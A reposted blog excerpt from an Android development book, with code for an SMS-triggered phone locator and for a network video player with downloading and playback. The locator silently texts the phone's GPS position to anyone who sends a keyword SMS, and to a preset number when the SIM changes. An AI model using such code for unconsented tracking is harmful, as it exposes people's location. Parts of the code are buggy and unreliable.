[转]大话企业级Android应用开发实战 巧用GPS找回丢失的手机

                      45  巧用GPS找回丢失的手机 

3.实现

编写Position.java:

package com.sharpandroid.util;

 

import android.content.Context;

import android.location.Criteria;

import android.location.Location;

import android.location.LocationManager;

 

public class Position {

   

    private static LocationManager locationManager;

    private static Location location;

    private static String reLocationProvider;

   

    public static String getPosition(Context con) {

        locationManager = (LocationManager) con.getSystemService

(con.LOCATION_SERVICE);

        location = getLocationProvider(locationManager);

        if (location != null) {   

            StringBuffer buffer = new StringBuffer();

            buffer.append("Latitude : ");

            buffer.append(Double.toString(location.getLatitude()));

            buffer.append(",Longitude :");

            buffer.append(Double.toString(location.getLongitude()));

            return buffer.toString();

        }

        else {

            return null;

        }

    }

   

    public static Location  getLocationProvider(LocationManager

locationManager){

        Location reLocation = null;

        Criteria criteria = new Criteria();

        criteria.setAccuracy(Criteria.ACCURACY_FINE);

        criteria.setBearingRequired(false);

        criteria.setPowerRequirement(Criteria.POWER_LOW);

        reLocationProvider = locationManager.getBestProvider(criteria,

true);

        reLocation = locationManager.getLastKnownLocation

(reLocationProvider);

        return reLocation;

    }

}

1)情况1

编写SMSListen.java:

 

package com.sharpandroid.sms;

 

import java.text.SimpleDateFormat;

import java.util.Date;

 

import com.sharpandroid.util.Position;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.telephony.SmsManager;

import android.telephony.SmsMessage;

 

public class SMSListen extends BroadcastReceiver {

 

    private static String position;  

    @Override

    public void onReceive(Context context, Intent intent) {

0//这个方法一旦返回了,android会回收BroadcastReceiver

        final Context con = context;

        Object[] pdus = (Object[])intent.getExtras().get("pdus");

        if(pdus!=null && pdus.length>0){

            SmsMessage[] messages = new SmsMessage[pdus.length];

            for(int i=0 ; i<pdus.length ; i++){

                byte[] pdu = (byte[])pdus[i];

                messages[i] = SmsMessage.createFromPdu(pdu);

            }

            for(SmsMessage msg : messages){

                final SmsMessage sms = msg;

                String content = msg.getMessageBody();

                final String sender = msg.getOriginatingAddress();

                if(content.startsWith(":getloacation")){

                   

                    new Runnable() {

                        public void run() {

                            //调用该方法获得当前位置

                            position = Position.getPosition(con);

                            if(position!=null){

                                SimpleDateFormat format = new

SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

                                String sendContent = format.format(new

Date(sms.getTimestampMillis()))+ ":"+position;

                                SmsManager smsManager = SmsManager.

getDefault();

                                //回复短信

                                smsManager.sendTextMessage(sender, null,

sendContent, null, null);

                            }

                        }

                    }.run();

                }

            }

            }

        }

       

}

 

2)情况2

package com.sharpandroid.sms;

 

import com.sharpandroid.util.Position;

 

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.telephony.SmsManager;

import android.telephony.TelephonyManager;

 

public class PowerBoot extends BroadcastReceiver {

   

    TelephonyManager tm ;

    @Override

    public void onReceive(Context context, Intent intent) {

        final Context con = context;

        if(tm.getSimSerialNumber()!=null)

        {

        //预先设置好的SIM卡编码

        if(tm.getSimSerialNumber()!="XXXXXXXXXXXX"){

                new Runnable() {

                    public void run() {

             String position = Position.getPosition(con);

             SmsManager smsManager = SmsManager.getDefault();

                //预先设置好的电话号码

                smsManager.sendTextMessage("5556", null, position, null,

null);

                    }

                }.run();

        }

        }

    }

}

 

 

 

编写AndroidManifest.xml:

<?xml version="1.0" encoding="UTF-8"?>

<manifest android:versionCode="1" android:versionName="1.0"

    package="com.sharpandroid.sms" xmlns:android="http://schemas.

android.com/apk/res/android">

    <application android:icon="@drawable/icon" android:label=

"@string/app_name">

        <receiver android:name=".SMSListen">

            <intent-filter>

                <action android:name="android.provider.Telephony.SMS_

RECEIVED"/>

            </intent-filter>

        </receiver>

        <receiver android:name=".PowerBoot">

            <intent-filter>

                <action android:name="android.intent.action.BOOT_

COMPLETED"/>

            </intent-filter>

        </receiver>

    </application>

    <uses-sdk android:minSdkVersion="7"/>

    <uses-permission android:name="android.permission.RECEIVE_SMS"/>

    <!-- 接收短信权限 -->

    <uses-permission android:name="android.permission.SEND_SMS"/>

    <!-- 发送短信权限 -->

    <uses-permission android:name="android.permission.READ_SMS"/>

    <uses-permission android:name="android.permission.ACCESS_FINE_

LOCATION"/>

    <uses-permission android:name="android.permission.ACCESS_COARSE_

LOCATION"/>

</manifest>

46  网络视频播放器

46.2  项目实现流程

46.2.2  UI页面设计

具体代码为:

   <?xml version="1.0" encoding="utf-8" ?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:orientation="vertical"

    android:layout_width="fill_parent"

    android:layout_height="fill_parent"

    android:background="@drawable/back">

   

      <TextView android:layout_width="fill_parent"

      android:layout_height="wrap_content" />

     

      <EditText android:layout_width="fill_parent"

      android:layout_height="wrap_content"

      android:id="@+id/path" />

     

      <ProgressBar android:layout_width="fill_parent"

      android:layout_height="18dip"

      style="?android:attr/progressBarStyleHorizontal"

      android:id="@+id/progressBar" />

     

      <TextView android:layout_width="fill_parent"

      android:layout_height="wrap_content"

      android:gravity="center" android:id="@+id/result" />

     

     

      <Button android:layout_width="wrap_content"

      android:layout_height="wrap_content"

      android:text="下载"

      android:id="@+id/button_download" />

     

      <Button android:layout_width="wrap_content"

      android:layout_height="wrap_content"

      android:text="暂停"

      android:id="@+id/button_pause" />

     

      <Button android:layout_width="wrap_content"

      android:layout_height="wrap_content"

      android:text="删除"

      android:id="@+id/button_delete" />

     

      <Button android:layout_width="wrap_content"

      android:layout_height="wrap_content"

      android:text="返回首页"

      android:id="@+id/button_back" />

     

      <Button android:layout_width="wrap_content"

      android:layout_height="wrap_content"

      android:id="@+id/button_alreadylist"

      android:text="已下载列表" />

  </LinearLayout>

已下载列表界面具体代码为:

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout   xmlns:android="http://schemas.android.com/apk/res/

android"

                android:orientation="vertical"

                android:layout_width="fill_parent"

                android:layout_height="fill_parent"

                android:padding="10px">

    <SurfaceView 

                android:layout_width="fill_parent"

                android:layout_height="240dip"

                android:id="@+id/surfaceView"

                />

   <RelativeLayout

                android:layout_width="wrap_content"

                android:layout_height="wrap_content"

                android:gravity="center"

    >

    <TextView 

            android:id="@+id/playTime"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:text="00:00"

    >

    </TextView>

            <SeekBar

    android:id="@+id/progress_bar"

    android:layout_height="wrap_content"

    android:layout_width="200px"

    android:layout_toRightOf="@id/playTime"

    style="?android:attr/progressBarStyleHorizontal"

    />

      <TextView 

              android:id="@+id/totalTime"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:layout_toRightOf="@id/progress_bar"

            android:text="00:00"

    ></TextView>

</RelativeLayout>  

   <RelativeLayout

                android:layout_width="wrap_content"

                android:layout_height="wrap_content"

                android:gravity="center"

    >

    <ImageButton android:id="@+id/button_up"

                    android:layout_width="wrap_content"

                    android:layout_height="wrap_content"

                    android:layout_marginTop="5px"

                    style="?android:attr/buttonStyleSmall"

                 android:src="@drawable/button_up"/>

    <ImageButton android:id="@+id/button_play"

                    android:layout_width="wrap_content"

                    android:layout_height="wrap_content"

                    android:layout_toRightOf="@id/button_up"

                    android:layout_marginTop="5px" 

                    style="?android:attr/buttonStyleSmall"

                 android:src="@drawable/button_pause"/>

    <ImageButton android:id="@+id/button_next"

                    android:layout_width="wrap_content"

                    android:layout_height="wrap_content"

                    android:layout_toRightOf="@id/button_play"

                    android:layout_marginTop="5px"

                    style="?android:attr/buttonStyleSmall"

                 android:src="@drawable/button_next"/>

</RelativeLayout>

</LinearLayout>

46.2.3  XML解析

2)Handler类

由于从服务器得到的XML的结构较为简单,在重写Handler时,没必要重写无关的事件,ChannelHandler.java代码如下:

package com.sharpandroid_video.channel.entity.xml;

 

import java.util.ArrayList;

 

import org.xml.sax.SAXException;

import org.xml.sax.helpers.DefaultHandler;

 

import com.sharpandroid_video.channel.entity.Category;

 

public class ChannelHandler extends DefaultHandler {

 

    private String content;

    private Category current=new Category();

   

    public ArrayList<Category> channels=new ArrayList<Category>();

 

    @Override

    public void characters(char[] ch, int start, int length)

            throws SAXException {

        String part=new String(ch,start,length);

        if(!part.equals("\n"))

            if(content!=null)

                content+=part;

            else

                content=part;

    }

 

    @Override

    public void endElement(String uri, String localName, String name)

            throws SAXException {

        if("categoryid".equalsIgnoreCase(localName)){

            current.setCategoryid(content);

        }else if("regularIcon".equalsIgnoreCase(localName)){

            current.setRegularIcon(content);

        }else if("AltIcon".equalsIgnoreCase(localName)){

            current.setAltIcon(content);

        }else if("Thumbnail".equalsIgnoreCase(localName)){

        ……

            channels.add(current);

            current=new Category();

        }

        content=null;

    }

}

3)方法实现

在实体类、Handler类编写完毕后,就是整体的实现过程,下面给出获得“推荐内容”XML文件的过程,其他方法类同。

public static ArrayList<Video> TopVideoList() {

       

        try {

            VideoHandler handler=new VideoHandler();

            //想服务器端发送相应请求,请注意链接为自己的链接,记得更改IP地址为服务

              器的IP及端口号

String http = "http://192.168.1.188:8080/SharpVideo/getSharpVideo.jsp";

            InputStream input=new URL(http).openStream();

            SAXParser sp = spf.newSAXParser();

            XMLReader reader = sp.getXMLReader();

            reader.setContentHandler(handler);

            InputSource inputSource=new InputSource(input);

            reader.parse(inputSource); 

            input.close();

            return handler.videos;

        } catch (Exception e) {

            e.printStackTrace();

        }

        return null;

    }

46.2.4  视频文件下载

3.下载模块的暂停

编写DownLoaderActivity.java代码:

package com.sharpandroid_video.download.download.activity;

 

public class DownLoaderActivity extends Activity {

    private static final String TAG = "DownLoaderActivity";

    private EditText pathEditText;

    private ProgressBar progressBar;

    private TextView resultView;

    private Button button_download;

    private Button button_pause;

    private Button button_delete;

    private Button button_already;

    private Button button_back;

    private FileDownloader downloader;

    private FileService fileService;

    public static Map<String, Boolean> flags = new HashMap<String,

Boolean>();

    // 首先定义静态的标志位

 

    public static int isDowning = 0;

   

    //0为未下载,1为正在下载 ,2为暂停 ,3为下载完成

   

    private Handler handler = new Handler() {  

        @Override

        public void handleMessage(Message msg) {

            if (!Thread.currentThread().isInterrupted()) {

                switch (msg.what) {

                case 1:

                    int size = msg.getData().getInt("size");

                    String fileloadpath = msg.getData().

getString("stringbuilder");

                    progressBar.setProgress(size);

                    int result = (int) (((float) progressBar.getProgress()

/ (float) progressBar

                            .getMax()) * 100);

                    resultView.setText(result + "%");

                    if (progressBar.getMax() == progressBar.getProgress()) {

                        setTitle("下载成功");

                        showToastString("下载成功");

                        isDowning = 3;

                        fileService = new FileService(DownLoaderActivity.

this);

                        InternetFile internetFile = new InternetFile();

                        internetFile.setName(FileDownloader.filename);

                        internetFile.setSavepath(fileloadpath);

                        try {

                         fileService.save(internetFile);

                        } catch (Exception e) {

                            e.printStackTrace();

                        }

                   }

                    break;

case -1:

                    String error = msg.getData().getString("error");

                    showToastString(error);

                    break;

                }

            }

            super.handleMessage(msg);

        }

    };  

调用数据库的save保存方法,将文件实体保存到数据库中。

@Override

public void onCreate(Bundle savedInstanceState) {

    super.onCreate(savedInstanceState);

    setContentView(R.layout.downloader);

    Intent intent =this.getIntent();

    final String path = intent.getExtras().getString("url").trim();

    pathEditText = (EditText) this.findViewById(R.id.path);

    pathEditText.setText(path);

   

    progressBar = (ProgressBar) findViewById(R.id.progressBar);

    resultView = (TextView) findViewById(R.id.result);

    /**

     * 下载操作

     */

    button_download = (Button) findViewById(R.id.button_download);

    button_download.setOnClickListener(new View.OnClickListener() {

        /**

         * 0为未下载,1为正在下载 ,2为暂停 ,3为下载完成

         * 下载文件,并保存到SDCard

         */

        @Override

        public void onClick(View v) {

            setTitle("正在下载中");

            if(isDowning ==1){

                showToastString("正在下载中!");

            }

            if(isDowning == 0 || isDowning ==2)

               if (Environment.getExternalStorageState().equals(

                    Environment.MEDIA_MOUNTED)) {

                try {

                    flags.put(path, true);

                    download(path, Environment

                            .getExternalStorageDirectory());// 1

                    isDowning = 1;

                    showToastString("开始下载!");

                } catch (Exception e) {

                    showToastString("网络连接失败!");

                    Log.e(TAG, e.toString());

                }

            } else {

                showToastString("SD卡出现错误!");

            }

        }

    });

DownloadThread.java中更新的代码:

package com.sharpandroid_video.download.net.download;

 

public class DownloadThread extends Thread {

            …

                print("线程 " + this.threadId + "从位置"+ this.startPos+ "

开始下载 ");

                Map<String , Boolean> flags = DownLoaderActivity.flags;

                Boolean flag = flags.get(this.downUrl.toString());

               

                while (flag && downLength < block && (offset = inStream.

read(buffer, 0, max)) != -1) {

                   

                   

                    saveFile.write(buffer, 0, offset);

                    downLength += offset;

                    downloader.update(this.threadId, block * (threadId - 1)

+ downLength);

                    downloader.saveLogFile();

                    downloader.append(offset);

                    int spare = block-downLength;//求剩下的字节数

                    if(spare < max) max = (int) spare;

                    flag = flags.get(this.downUrl.toString());

                }

                saveFile.close();

               …

        return downLength;

    }

}

 

新建实体bean名为InternetFile,编写InternetFile.java:

   package com.sharpandroid.domain;

 

public class InternetFile {

   

    private Integer fileid;

    private String name;

    private String savepath;

    public InternetFile(){

       

    }

    public InternetFile(Integer fileid,String name,String savepath){

       

        this.fileid = fileid;

        this.name = name;

        this.savepath = savepath;

       

    }

    public Integer getFileid() {

        return fileid;

    }

    public void setFileid(Integer fileid) {

        this.fileid = fileid;

    }

    public String getName() {

        return name;

    }

    public void setName(String name) {

        this.name = name;

    }

    public String getSavepath() {

        return savepath;

    }

    public void setSavepath(String savepath) {

        this.savepath = savepath;

    }

}

4.数据库部分

在DBOpenHelper.java中更新代码:

     package com.sharpandroid_video.download.service;

 

     public class DBOpenHelper extends SQLiteOpenHelper {

    private static final String DBNAME = "sharpandroid.db";

    private static final int VERSION = 1;

   

    public DBOpenHelper(Context context) {

        super(context, DBNAME, null, VERSION);

    }   

//  创建两个表

    @Override

    public void onCreate(SQLiteDatabase db) {

        db.execSQL("CREATE TABLE IF NOT EXISTS filedown (id integer primary

key autoincrement, downpath varchar(100), threadid INTEGER, position

INTEGER)");

        db.execSQL("CREATE TABLE IF NOT EXISTS downfile (fileid integer

primary key autoincrement, name varchar(100), savepath varchar(255))");

    }

//对表的版本进行更新

    @Override

    public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {

        db.execSQL("DROP TABLE IF EXISTS filedown");

        db.execSQL("DROP TABLE IF EXISTS downfile");

        onCreate(db);

    }

}

在FileService.java中代码更新为:

 package com.sharpandroid_video.download.service;

 

public class FileService {

    private DBOpenHelper openHelper;

 

   

    /**

     * 网络下载文件的存储

*将下载完的文件名和文件的目录分别保存在数据库中

     */

    public void save(InternetFile internetFile){

        SQLiteDatabase database = openHelper.getWritableDatabase();

        database.execSQL("insert into downfile(name, savepath)

values(?,?)", new Object[]{

                internetFile.getName(),internetFile.getSavepath()});

        database.close();

    }

 

    /**

     * 下载文件的分页显示

     * @param startResult

     * @param maxResult

     * @return

     */

    public List<InternetFile> getScrollData(int startResult, int

maxResult){

        List<InternetFile> InternetFiles = new ArrayList<InternetFile>();

        SQLiteDatabase database = openHelper.getWritableDatabase();

        Cursor cursor = database.rawQuery("select * from downfile

limit ?,?",

                new String[]{String.valueOf(startResult), String.valueOf

(maxResult)});

        while(cursor.moveToNext()){

            InternetFiles.add(new InternetFile(cursor.getInt(0), cursor.

getString(1), cursor.getString(2)));

        }

        return InternetFiles;

    }

}

在DownloadProgressListener 中代码更新为:

package com.sharpandroid_video.download.net.download;

 

public interface DownloadProgressListener {

    public void onDownloadSize(int size);

}

5.下载模块的删除

新建DelFile类,实现对下载文件的删除操作,代码如下:

package com.sharpandroid_video.download.service;

 

public class DelFile {

    private static final String TAG = "DelFile";

    

     public static  Boolean delFile(String filename){

    try {

        File file = new File(Environment.getExternalStorageDirectory(),

filename);

        Boolean flag = file.delete();

        Log.i(TAG,flag.toString());

       } catch (Exception e) {

            e.printStackTrace();

        }

        return true;

   }

}   

46.2.5  下载文件播放

1.已下载视频列表

新建SaveFileActivity类,用于显示已经下载文件的列表信息:

public class SaveFileActivity extends Activity {

    private static final String TAG ="SaveFileActivity";

    private ListView listView;

    private FileService fileService;

    @Override

    public  void onCreate(Bundle savedInstanceState) {

       

        super.onCreate(savedInstanceState);

        setContentView(R.layout.savefile);

        listView = (ListView) this.findViewById(R.id.listView);

        fileService = new FileService(this);

       

        List<InternetFile> internetFiles = fileService.getScrollData(0, 8);

        List<HashMap<String, String>> data = new ArrayList<HashMap<String,

String>>();

        for(InternetFile internetFile : internetFiles){

             HashMap<String, String> map = new HashMap<String, String>();

             map.put("fileid", String.valueOf(internetFile.getFileid()));

             map.put("name", internetFile.getName());

             map.put("savepath", internetFile.getSavepath());

             data.add(map);

             

        }

        SimpleAdapter adapter = new SimpleAdapter(SaveFileActivity.this,

data,R.layout.savefile,

                new String[]{"fileid","name","savepath"},new int[]

{R.id.fileid,R.id.filename,R.id.savepath});

           

            listView.setAdapter(adapter);

            listView.setOnItemClickListener(new AdapterView.

OnItemClickListener() {

 

                @Override

                public void onItemClick(AdapterView<?> parent, View view,

                    int position, long id) {

                    HashMap<String, String> itemdata = (HashMap<String,

String>) listView.getItemAtPosition(position);

                      String savepath = itemdata.get("savepath");

                      String name = itemdata.get("name");

                      String fileid =itemdata.get("fileid");

                      Log.i(TAG, "personid="+ fileid+ " name="+name + "

savepath="+ savepath);

                      Intent intent = new Intent(SaveFileActivity.

this,VideoPlayer.class);

                      intent.putExtra("savepath", savepath);

                      startActivity(intent);

                }

            });

    }

}

2.视频文件播放

新建VideoPlayer.java类实现文件的播放,实现代码如下:

package com.sharpandroid.voide.activity;

 

public class VideoPlayer extends Activity{

    private SurfaceView surfaceView;

    private MediaPlayer mediaPlayer;

    private ImageButton playbutton;

    private ImageButton upbutton;

    private ImageButton nextbutton;

    private TextView playTime;

    private TextView totalTime;

    private SeekBar progressBar;

    private String path;

    private Handler mHandler = new Handler();

    private boolean flog=true;

    private static final String TAG = "VideoPlayActivity";

   

 

    public  void onCreate(Bundle savedInstanceState) {

         super.onCreate(savedInstanceState);

            setContentView(R.layout.video);

            Intent intent=this.getIntent();

            path=intent.getStringExtra("path");

        playTime=(TextView)findViewById(R.id.playTime);

        totalTime=(TextView)findViewById(R.id.totalTime);

        progressBar=(SeekBar)findViewById(R.id.progress_bar);

        surfaceView = (SurfaceView)this.findViewById(R.id.surfaceView);

        ButtonOnclickEnvent envent = new ButtonOnclickEnvent();

        playbutton = (ImageButton)this.findViewById(R.id.button_play);

        playbutton.setOnClickListener(envent);

        upbutton = (ImageButton)this.findViewById(R.id.button_up);

        upbutton.setOnClickListener(envent);

        nextbutton = (ImageButton)this.findViewById(R.id.button_next);

        nextbutton.setOnClickListener(envent);

        surfaceView.getHolder().setFixedSize(176, 144);  //设置分辨率

        surfaceView.getHolder().setType(SurfaceHolder.SURFACE_TYPE_

PUSH_BUFFERS);

        mediaPlayer = new MediaPlayer();

        playbutton.setImageResource(R.drawable.button_play);

       

    }

   

    @Override

    protected void onStart() {

        super.onStart();

    }

 

    @Override

    protected void onPause() {

        if(mediaPlayer!=null){

            if(mediaPlayer.isPlaying()) mediaPlayer.pause();

        }

        super.onPause();

    }

 

    @Override

    protected void onResume() {

        if(mediaPlayer!=null){

            if(!mediaPlayer.isPlaying()) mediaPlayer.start();

        }

        super.onResume();

    }

    @Override

    protected void onDestroy() {

        if(mediaPlayer!=null){

            if(mediaPlayer.isPlaying()) mediaPlayer.stop();

            mediaPlayer.release();

        }

        super.onDestroy();

    }

   

   

public void play(){

   

 

    mediaPlayer.reset();

    mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);

    mediaPlayer.setDisplay(surfaceView.getHolder());

    try {

        mediaPlayer.setDataSource(path);

        mediaPlayer.prepare();

    }  catch (Exception e) {

        e.printStackTrace();

    }

    mediaPlayer.start();

   

  

}

    private class ButtonOnclickEnvent implements View.OnClickListener{

        @Override

        public void onClick(View v) {

            try {

                switch (v.getId()) {

                case R.id.button_play: //播放

                    if(mediaPlayer.isPlaying()){

                        mediaPlayer.pause();

                        playbutton.setImageResource(R.drawable.button_play);

                        flog=false;

                    }else{      

                       

                        if(flog)

                        {

                            play();

//                          new updateTime().start();

 

                       

                        }else{

                            mediaPlayer.start();

                        }

                        playbutton.setImageResource(R.drawable.button_

pause);

                        totalTime.setText(getTime(mediaPlayer.

getDuration()));       //获得音乐总时间

                     new updateTime().start();

                    }

                   

                    break;

 

                case R.id.button_up: //播放后退

                    mediaPlayer.seekTo(mediaPlayer.

getCurrentPosition()-200);

                    mediaPlayer.start();

                    break;

                   

                case R.id.button_next://播放快进

                   

                    mediaPlayer.seekTo(mediaPlayer.

getCurrentPosition()+200);

                    mediaPlayer.start();

                    break;

                }

            } catch (Exception e) {

                Log.e(TAG, e.toString());

            }          

        }           

    }

     

      class updateTime extends Thread{

         

            public void run() {

                while (true) {

                    if( mediaPlayer.isPlaying())

                        mHandler.post(new Runnable() {

                            public void run(){                             

                                try {

                                progressBar.setMax(mediaPlayer.

getDuration());

                                    progressBar.setProgress(mediaPlayer.

getCurrentPosition());//获得音乐播放的进度

                                   

                                    Log.i("A", String.valueOf(mediaPlayer.

getDuration()));

                                    Log.i("A", String.valueOf(mediaPlayer.

getCurrentPosition()));

                                    int pos = 0;

                                    try {

                                        pos = mediaPlayer.

getCurrentPosition();

//获得音乐播放的进度

                                    } catch (Exception e) {

                                        e.printStackTrace();

                                    }

                                    int min = (pos/1000)/60;

                                    int sec = (pos/1000)%60;

                                    if(sec<10)

                                        playTime.setText(""+min+":0"+sec);

//把音乐播放的进度,转换成时间

                                    else

                                        playTime.setText(""+min+":"+sec);

                                   

                                } catch (Exception e) {

                                    e.printStackTrace();

                                }                                  

                            }

                        });

                    try {

                        Thread.sleep(1000);

                    } catch (InterruptedException e) {

                        e.printStackTrace();

                    }

                    }

                }

            }

        public  String  getTime(int c)//将进度转变为时间

        { 

             String time;

             int length=c/1000;

            int a=  length/60;

             int b=length%60;

             time=String.valueOf(a)+":"+String.valueOf(b);

            return time;

        }

   

}

AndroidManifest.xml具体代码为:

<?xml version="1.0" encoding="UTF-8"?>

<manifest android:versionCode="1" android:versionName="1.0"

    package="com.sharpandroid_video.sharpandroid" xmlns:android="http:

//schemas.android.com/apk/res/android">

    <application android:icon="@drawable/icon" android:label=

"@string/app_name">

        <activity android:label="@string/app_name" android:name=

".BrowserActivity">

            <intent-filter>

                <action android:name="android.intent.action.MAIN"/>

                <category android:name="android.intent.category.

LAUNCHER"/>

            </intent-filter>

        </activity>

        <activity android:name="com.sharpandroid_video.Player.

MediaPlayer"/>

        <activity android:name="com.sharpandroid_video.download.download.

activity.DownLoaderActivity"/>

        <activity android:name="com.sharpandroid_video.download.download.

activity.SaveFileActivity"/>

 

    </application>

    <uses-sdk android:minSdkVersion="7"/>

    <uses-permission android:name="android.permission.INTERNET"/>

    <!-- 在SDCard中创建与删除文件权限 -->

<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYS

TEMS"/>

<!-- 往SDCard写入数据权限 -->

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAG

E"/>

</manifest>

posted @ 2013-06-11 22:31  火腿骑士  阅读(215)  评论(0编辑  收藏  举报